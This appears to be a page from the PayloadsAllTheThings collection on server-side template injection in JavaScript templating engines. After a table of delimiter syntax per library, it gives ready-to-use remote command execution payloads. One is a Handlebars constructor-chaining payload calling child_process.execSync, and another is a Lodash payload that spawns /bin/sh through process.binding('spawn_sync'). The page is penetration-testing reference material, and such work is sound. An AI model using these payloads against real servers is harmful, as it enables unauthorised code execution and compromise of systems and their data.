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PayloadsAllTheThings/Server Side Template Injection/JavaScript.md
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Server Side Template Injection - JavaScript

Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

Summary

Templating Libraries

Template Name Payload Format
DotJS {{= }}
DustJS {}
EJS <% %>
HandlebarsJS {{ }}
HoganJS {{ }}
Lodash {{= }}
MustacheJS {{ }}
NunjucksJS {{ }}
PugJS #{}
TwigJS {{ }}
UnderscoreJS <% %>
VelocityJS #=set($X="")$X
VueJS {{ }}

Handlebars

Official website

Handlebars compiles templates into JavaScript functions.

Handlebars - Command Execution

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Lodash

Official website

Lodash - Basic Injection

How to create a template:

const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
  • string: The template string.
  • options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
  • options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
  • options.escape: It is a regular expression that specifies the HTML escape delimiter.

For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.

{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>

Lodash - Command Execution

{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}

References